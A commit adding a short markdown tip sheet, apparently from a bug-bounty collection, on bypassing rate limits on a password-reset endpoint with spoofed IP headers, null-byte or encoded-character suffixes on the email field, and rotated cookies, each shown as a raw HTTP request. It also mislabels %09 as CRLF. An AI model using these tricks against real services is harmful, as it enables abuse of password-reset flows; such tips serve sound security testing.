Bypass Rate Limit [1]

Create Rate Limit Tips and add 3 tips

BypassRateLimit.md

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+# Bypass Rate Limit
+1. Try add some custom header
+```
+X-Forwarded-For : 127.0.0.1
+X-Forwarded-Host : 127.0.0.1
+X-Client-IP : 127.0.0.1
+X-Remote-IP : 127.0.0.1
+X-Remote-Addr : 127.0.0.1
+X-Host : 127.0.0.1
+```
+For example:
+```
+POST /ForgotPass.php HTTP/1.1
+Host: target.com
+X-Forwarded-For : 127.0.0.1
+[...]
+
+email=victim@gmail.com
+```
+
+2. Adding Null Byte ( %00 ) or CRLF ( %09, %0d, %0a ) at the end of the Email can bypass rate limit.
+```
+POST /ForgotPass.php HTTP/1.1
+Host: target.com
+[...]
+
+email=victim@gmail.com%00
+```
+
+3. Try changing user-agents, cookies and IP address
+```
+POST /ForgotPass.php HTTP/1.1
+Host: target.com
+Cookie: xxxxxxxxxx
+[...]
+
+email=victim@gmail.com
+```
+Try this to bypass
+```
+POST /ForgotPass.php HTTP/1.1
+Host: target.com
+Cookie: aaaaaaaaaaaaa
+[...]
+
+email=victim@gmail.com
+```